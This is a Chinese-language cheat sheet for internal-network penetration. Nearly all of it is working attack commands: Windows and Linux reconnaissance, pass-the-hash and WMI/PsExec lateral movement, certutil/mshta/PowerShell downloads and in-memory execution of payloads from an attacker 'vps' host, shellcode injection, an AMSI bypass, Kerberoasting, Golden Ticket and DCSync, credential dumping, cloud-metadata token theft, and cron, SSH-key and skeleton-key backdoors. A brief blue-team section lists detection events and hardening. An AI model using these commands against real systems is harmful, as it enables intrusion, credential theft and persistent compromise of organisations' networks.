内网渗透实战技术深度梳理
本文面向中高级渗透测试工程师,聚焦可操作的命令、工具链和攻击路径。不做名词解释,只讲怎么打。
1. 信息收集
1.1 本机指纹
# Windows — 系统/网络/用户一键收集
systeminfo & hostname & whoami /all
echo %USERDOMAIN% & echo %logonserver%
ipconfig /all & route print & netstat -ano & arp -a
net user & net localgroup administrators
net group "Domain Admins" /domain 2>nul
whoami /groups & whoami /priv
# Linux — 同等信息
uname -a; id; ip addr; ss -tunlp
cat /etc/passwd | grep -v nologin
1.2 域环境探测
net view /domain
net time /domain
nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
# PowerView(需导入)
Get-NetDomain; Get-NetDomainController
Get-NetUser | select samaccountname, serviceprincipalname
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select name, operatingsystem
Get-NetComputer -FullData | ? { $_.description -match "jenkins|ansible|zabbix|bastion|jump|monitor|deploy|sql|backup" }
1.3 存活发现
# ICMP 快速探测 C 段
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i | find "TTL="
# PowerShell 端口扫描(单主机)
1..65535 | % {
$t=New-Object Net.Sockets.TcpClient
if($t.BeginConnect("10.0.0.5",$_,$null,$null).AsyncWaitHandle.WaitOne(200)){$_}
$t.Close()
}
# Linux 批量端口探测
for ip in $(seq 1 254); do
for port in 22 80 443 445 3389 1433 3306 6379 8080 2222 50000 10050 27017; do
timeout 0.3 bash -c "echo >/dev/tcp/10.0.0.$ip/$port" 2>/dev/null && echo "10.0.0.$ip:$port"
done
done
1.4 运维服务器定位
重点关注堡垒机、Jenkins、Ansible、Zabbix、GitLab、SCCM、备份系统。
# DNS 反查常见运维主机名
foreach($n in @("jump01","jump02","ops01","admin01","jenkins01","gitlab01","monitor01","zabbix01","ansible01")){
try { Resolve-DnsName "$n.corp.local" -ErrorAction Stop | select Name,IPAddress } catch {}
}
# RDP 连接历史
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
# known_hosts + bash_history 暴露管理连接
cat ~/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null
grep -E "ssh |scp |mysql -h|psql -h|redis-cli -h|mongo " ~/.bash_history 2>/dev/null
grep -r "jdbc:" /opt/ /etc/ 2>/dev/null
运维端口速查:
| 端口 | 服务 | 拿下后的直接价值 |
|---|---|---|
| 2222 | JumpServer/堡垒机 | 全部 SSH/RDP 会话 |
| 8080 | Jenkins | Groovy 脚本 → 主机权限 |
| 10050 | Zabbix Agent | system.run[] 远程执行 |
| 443 | Ansible Tower | 全网节点 SSH Key |
| 10123 | SCCM | Windows 批量软件分发 |
| 9392 | Veeam | 所有备份镜像 |
命名规律速查:jump/bastion→堡垒机,ops/admin/mgmt→运维,jenkins/gitlab/ci→自动化平台,monitor/zabbix/prom→监控,backup/veeam→备份系统。
1.5 内网图谱构建
输出一张攻击路径图,而非一堆 IP。从四个维度聚合:
主机角色:
10.10.1.0/24
├── PC01,PC02 # 办公终端
├── FILE01 # 文件服务器
├── APP01 # 应用服务器
└── DB01 # 数据库
账户分级:
user01,user02 → 普通用户
ops_admin → 运维账号(多服务器管理员)
svc_sql,svc_jenkins → 服务账号 → Kerberoasting 目标
administrator → 域管理员
权限传递链 — 从当前主机出发追踪可达目标:
WEB01(IIS APPPOOL)
└─ web.config → sa:密码
└─ DB01(MSSQL, xp_cmdshell)
└─ linked server → svc_link
└─ OPS01(Ansible, sudo)
└─ DC01
业务链路:Web层(proxy_pass) → App层(jdbc, Redis连接串) → DB层(linked servers)。
最终目标是绘制一条类似 WEB01 → DB01 → OPS01 → DC01 的可操作攻击路径,沿信任链逐跳推进。
2. 横向移动
2.1 Pass-the-Hash
# impacket 套件
impacket-psexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-wmiexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5
impacket-smbexec -hashes :<NTLM_HASH> DOMAIN/Administrator@10.0.0.5 # 更隐蔽
# CrackMapExec 批量验证 + 执行
crackmapexec smb 10.0.0.0/24 -u Administrator -H <HASH>
crackmapexec smb 10.0.0.5 -u Administrator -H <HASH> -x whoami
# Mimikatz PTH
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe
2.2 WMI / WinRM / PsExec
# WMI 远程进程创建
wmic /node:10.0.0.5 /user:corp\Administrator /password:Passw0rd process call create "cmd.exe /c whoami"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -ComputerName 10.0.0.5
# WinRM 交互式会话
Enter-PSSession -ComputerName 10.0.0.5 -Credential corp\Administrator
# Linux 侧 evil-winrm
evil-winrm -i 10.0.0.5 -u Administrator -H <NTLM_HASH>
# PsExec(会注册服务,注意留下痕迹)
PsExec.exe \\10.0.0.5 -u corp\Administrator -p Passw0rd cmd.exe
impacket-psexec corp/Administrator:Passw0rd@10.0.0.5
2.3 计划任务 / RDP 劫持
# schtasks 横向
schtasks /create /s 10.0.0.5 /tn "Update" /tr "c:\temp\payload.exe" /sc once /st 15:00 /ru SYSTEM
schtasks /run /s 10.0.0.5 /tn "Update"
# at(Windows 早期版本)
at \\10.0.0.5 15:00 cmd.exe /c "payload.exe"
# RDP 会话劫持(需要 SYSTEM)
query session
sc create rdpjacker binPath="cmd.exe /k tscon 2 /dest:console" start=auto & net start rdpjacker
2.4 无文件渗透(Living Off the Land)
核心原则:不落地 PE、利用系统自带组件、行为贴近正常运维。
LOLBin 速查:
| 工具 | 用途 | 命令 |
|---|---|---|
certutil |
下载 | certutil -urlcache -split -f http://vps/payload.dll C:\windows\temp\1.dll |
bitsadmin |
BITS下载 | bitsadmin /transfer job http://vps/payload.exe C:\temp\1.exe |
mshta |
执行HTA | mshta http://vps/payload.hta |
regsvr32 |
远程SCT | regsvr32 /s /u /i:http://vps/payload.sct scrobj.dll |
msbuild |
内联C# | msbuild inline.xml(XML 内嵌 C#) |
csc |
编译执行 | csc /out:1.exe code.cs && 1.exe |
cmstp |
INF加载 | cmstp /s /ns inf_file.inf(含 UAC 绕过) |
installutil |
.NET DLL | installutil /U malicious.dll |
PowerShell 内存执行链:
# 反射加载 .NET 程序集(不落地)
$d=(New-Object Net.WebClient).DownloadData('http://vps/payload.dll')
[Reflection.Assembly]::Load($d); [Payload.Program]::Main()
# Invoke-Mimikatz 内存执行
IEX (New-Object Net.WebClient).DownloadString('http://vps/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
# Shellcode 注入
$b=(New-Object Net.WebClient).DownloadData('http://vps/shellcode.bin')
$p=[Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length)
[Runtime.InteropServices.Marshal]::Copy($b,0,$p,$b.Length)
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($p,[Func[IntPtr]]).Invoke()
WMI 无文件横向:
wmic /node:10.0.0.5 /user:DOMAIN\admin /password:Passw0rd process call create "powershell -enc <BASE64>"
对抗检测:
- AMSI 绕过:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) - ScriptBlock Logging:注册表
HKLM\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging→ 禁用 - 进程注入到
explorer.exe/svchost.exe - WMI
Win32_ProcessStartup指定父进程 ID
3. 权限提升
3.1 Windows 提权向量
# 快速诊断
whoami /priv; whoami /groups
systeminfo | findstr /B /C:"OS"; wmic qfe list
| 场景 | 利用方式 |
|---|---|
SeImpersonatePrivilege |
PrintSpoofer.exe -i -c cmd(Server 2019+),否则 JuicyPotato.exe -t * -p cmd -l 1337 |
| AlwaysInstallElevated=1 | MSI 包装 payload → msiexec 安装 |
| 可写服务 binPath | sc config VulnSvc binPath="cmd /c payload.exe" & sc start VulnSvc |
| 服务路径引号缺失 | PowerUp.ps1 → Invoke-AllChecks |
| UAC 绕过(管理员组非高完整性) | fodhelper.exe / cmstp.exe 注册表劫持 |
| 内核漏洞 | Watson / Sherlock 检测未打补丁 |
3.2 Linux 提权向量
# SUID
find / -perm -4000 -type f 2>/dev/null
# sudo
sudo -l
# Capabilities
getcap -r / 2>/dev/null
# Crontab
cat /etc/crontab; ls -la /etc/cron*
| 场景 | 利用方式 |
|---|---|
cap_setuid+ep 的二进制 |
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' |
| Docker 组成员 | docker run -v /:/host alpine chroot /host |
NFS no_root_squash |
挂载 → 写入 SUID 二进制 |
可写 /etc/passwd |
openssl passwd -1 -salt x pass123 → 追加条目 |
sudo --version 低版本 |
CVE-2021-3156(sudoedit 堆溢出) |
| 内核提权 | uname -a + searchsploit |
4. 域渗透
4.1 域控定位
nltest /dclist:corp.local
nltest /dsgetdc:corp.local
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
Get-NetDomainController | select name
4.2 Kerberoasting / AS-REP
# Kerberoasting — 请求 SPN 用户 TGS 票据
impacket-GetUserSPNs corp.local/user:pass -request -dc-ip 10.0.0.2 -outputfile hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt
# AS-REP Roasting — 不需要预认证的用户
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.2 -format hashcat
4.3 Golden Ticket / Silver Ticket
# 获取 krbtgt hash(DCSync)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# 生成并注入 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:<hash> /id:500 /ptt
# Silver Ticket(伪造服务 TGS,不触达 DC)
mimikatz # kerberos::golden /domain:corp.local /sid:S-1-5-21-xxx /target:dc.corp.local /service:cifs /rc4:<machine_hash> /user:Administrator /ptt
4.4 DCSync
# 冒充 DC 拉取域数据库
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
impacket-secretsdump corp.local/Administrator:Passw0rd@10.0.0.2
4.5 域信任利用
nltest /domain_trusts
# 子域→父域 SID History 注入
mimikatz # kerberos::golden /user:Administrator /domain:child.corp.local /sid:子域SID /sids:父域EnterpriseAdminsSID /krbtgt:<hash> /ptt
4.6 GPO / ACL 滥用
# 定位可写 GPO 覆盖的机器
Get-NetGPO | %{Get-NetOU -GUID $_.gplink} | %{Get-NetComputer -ADSpath $_}
# AdminSDHolder — 给 backdoor 用户 ACL 特权(每小时全域同步一次)
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName backdoor -Rights All
5. 隧道与代理
| 工具 | 协议 | 适用场景 |
|---|---|---|
| SSH | TCP | Linux 间最简单 |
| frp | TCP/UDP/HTTP | 多端口转发 |
| chisel | HTTP/WS | 单二进制、可过 CDN |
| ligolo-ng | TUN | 全流量透明代理 |
| Neo-reGeorg | HTTP | 仅 HTTP 出网 |
# SSH 本地转发
ssh -L 0.0.0.0:13389:10.0.0.5:3389 user@vps
# SSH 远程转发(反向)
ssh -R 0.0.0.0:8080:127.0.0.1:80 user@vps
# SSH SOCKS 代理
ssh -D 0.0.0.0:1080 user@vps
proxychains nmap -sT -Pn 10.0.0.0/24
# chisel 反向 SOCKS
# VPS 服务端: chisel server -p 8080 --reverse
# 目标客户端: chisel client vps:8080 R:0.0.0.0:1080:socks
# proxychains 配合 impacket
proxychains4 -q crackmapexec smb 10.0.0.0/24 -u admin -H <hash>
极端不出网场景:ICMP 隧道(ptunnel)、DNS 隧道(dnscat2 / iodine)。
6. 凭证收集
6.1 Windows
# Mimikatz — LSASS dump
privilege::debug
sekurlsa::logonpasswords
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
vault::list
# SAM + SYSTEM 离线提取
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
# 本地解析
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# 浏览器密码(需要 DPAPI)
lazagne.exe all
# RDP 缓存凭据
cmdkey /list
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
# PowerShell 历史
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
6.2 Linux
cat ~/.ssh/id_rsa /home/*/.ssh/id_rsa 2>/dev/null
grep -rn "password" /var/www/ /opt/ 2>/dev/null
grep -rn "jdbc:" /opt/ /etc/ 2>/dev/null
python3 lazagne.py all
6.3 网络嗅探
# LLMNR/NBT-NS 投毒
responder -I eth0 -wrf
# 抓到 NetNTLMv2 → hashcat -m 5600
hashcat -m 5600 hash.txt wordlist.txt
# NTLM 中继(目标无 SMB 签名时)
impacket-ntlmrelayx -tf targets.txt -smb2support -i
7. 权限维持
7.1 Windows
# 计划任务 SYSTEM 权限
schtasks /create /tn "WindowsUpdate" /tr "c:\windows\temp\payload.exe" /sc onstart /ru SYSTEM
# 服务后门
sc create "SysHelper" binPath="cmd /c payload.exe" start=auto
# 注册表 Run 键
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\temp\payload.exe"
7.2 域持久化
# Skeleton Key — DC LSASS 注入
mimikatz # privilege::debug & misc::skeleton
# 之后可用 mimikatz 密码登录任意域账户
# DSRM 后门 — DC 本地管理员
# reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
# Golden Ticket 长期有效(krbtgt hash 不变则一直有效)
7.3 Linux
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/shell.sh") | crontab -
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys
echo "nohup /tmp/backdoor &>/dev/null &" >> ~/.bashrc
# systemd 服务持久化
8. 防御检测
8.1 关键 Event ID
| Event ID | 含义 | 关注点 |
|---|---|---|
| 4624 | 登录成功 | LogonType 3(网络)、10(RDP) |
| 4625 | 登录失败 | 爆破 |
| 4672 | 特权分配 | SeDebugPrivilege |
| 4768 | TGT 请求 | 异常加密类型 |
| 4769 | 服务票据请求 | Kerberoasting |
| 4688 | 进程创建 | 异常父进程链 |
| 4697 | 服务安装 | 后门 |
| 5140 | 网络共享访问 | SMB 横向 |
8.2 蓝队排查命令
# 网络登录(LogonType 3)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" | ?{$_.Properties[8].Value -eq 3} | select -First 50
# 异常进程链
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" | Select TimeCreated, @{N='Proc';E={$_.Properties[5].Value}}, @{N='Parent';E={$_.Properties[21].Value}}
# 计划任务变更
schtasks /query /fo LIST /v | findstr /i "TaskName Author"
# 新增服务
Get-WmiObject Win32_Service | ?{$_.StartName -ne "LocalSystem"} | Select Name,PathName,StartName
8.3 加固要点
- LAPS:本地管理员密码唯一+轮换 → 阻断 PTH 横向
- Credential Guard:虚拟化隔离 LSASS → Mimikatz 无法 dump 明文
- SMB 签名:强制启用 → 阻断 NTLM Relay
- 禁用 LLMNR/NBT-NS:阻断 Responder 投毒
- 网络分段:管理网段/生产网段/办公网段 VLAN 隔离
- Sysmon:细粒度进程/网络/注册表审计
9. 现代内网扩展
9.1 BloodHound 攻击路径
# 数据采集
SharpHound.exe -c All --zipfilename out.zip
关注关系:GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword、AddMember、AllowedToDelegate。
查询最短路径:MATCH p=shortestPath((u:User{name:'USER@DOMAIN'})-[*1..]->(g:Group{name:'DOMAIN ADMINS@DOMAIN'})) RETURN p
9.2 ADCS 攻击(ESC1/ESC8)
# ESC1 — 申请高权限模板证书
certipy req -username user@corp.local -password pass -ca corp-CA -target ca.corp.local -template ESC1 -upn administrator@corp.local
# ESC8 — NTLM Relay 到 CA Web Enrollment
certipy relay -ca 10.0.0.5
# Shadow Credentials — KeyCredentialLink 接管
certipy shadow auto -username user@corp.local -password pass -account target_user
9.3 委派攻击
# 查找非约束委派主机
Get-NetComputer -Unconstrained
# RBCD 攻击链:
# 1. 创建机器账户(需 MachineAccountQuota > 0)
impacket-addcomputer corp.local/user:pass -computer-name FAKE01\$ -computer-pass Passw0rd
# 2. 配置 RBCD
impacket-rbcd corp.local/user:pass -delegate-from FAKE01\$ -delegate-to TARGET\$
# 3. S4U2Self + S4U2Proxy → 获取目标服务票据
impacket-getST -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE01\$:Passw0rd
9.4 云环境凭证
# Metadata 服务
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
AccessKey 常见位置:.env、config.yaml、~/.aws/credentials、Jenkins 凭据存储、GitLab CI 变量、Terraform state。
9.5 Kubernetes / 容器
# ServiceAccount Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Kubeconfig
cat ~/.kube/config
# Docker Socket 逃逸
docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host
# 使用 token 访问 API Server
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) --server=https://kubernetes.default.svc get pods --all-namespaces
9.6 数据库作跳板
-- MSSQL xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MSSQL Linked Server 跨库
SELECT * FROM OPENQUERY("LINKED_SRV",'SELECT @@servername');
EXEC ('xp_cmdshell ''whoami''') AT "LINKED_SRV";
-- CLR Assembly 执行 .NET 代码
CREATE ASSEMBLY [CLRShell] FROM 0x4D5A900003... WITH PERMISSION_SET = UNSAFE;
# MySQL UDF 提权
# lib_mysqludf_sys.so → /usr/lib/mysql/plugin/
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('chmod +s /bin/bash');
9.7 Linux 横向
# SSH Agent Forwarding 利用
echo $SSH_AUTH_SOCK
ssh -o StrictHostKeyChecking=no user@next_host
# NFS no_root_squash
showmount -e 10.0.0.5
mount -t nfs 10.0.0.5:/data /tmp/nfs
# 写入 SUID 二进制 → 宿主机 root
9.8 ATT&CK 映射
| 技术 | ID |
|---|---|
| Pass-the-Hash | T1550.002 |
| Kerberoasting | T1558.003 |
| Golden Ticket | T1558.001 |
| DCSync | T1003.006 |
| WMI | T1047 |
| WinRM | T1021.006 |
| PsExec | T1021.002 |
| Scheduled Task | T1053 |
| RDP | T1021.001 |
| SSH | T1021.004 |
| Kubernetes API | T1613 |
| Cloud Account | T1078 |
10. 结语
现代内网渗透已从传统的”提权 → 抓密码 → 打域控”演进为身份体系 + 权限关系 + 云平台 + 容器平台 + 自动化运维之间的综合对抗。核心能力不在工具数量,而在于:快速构建信任关系图谱、识别最短信任链、锁定高价值控制节点。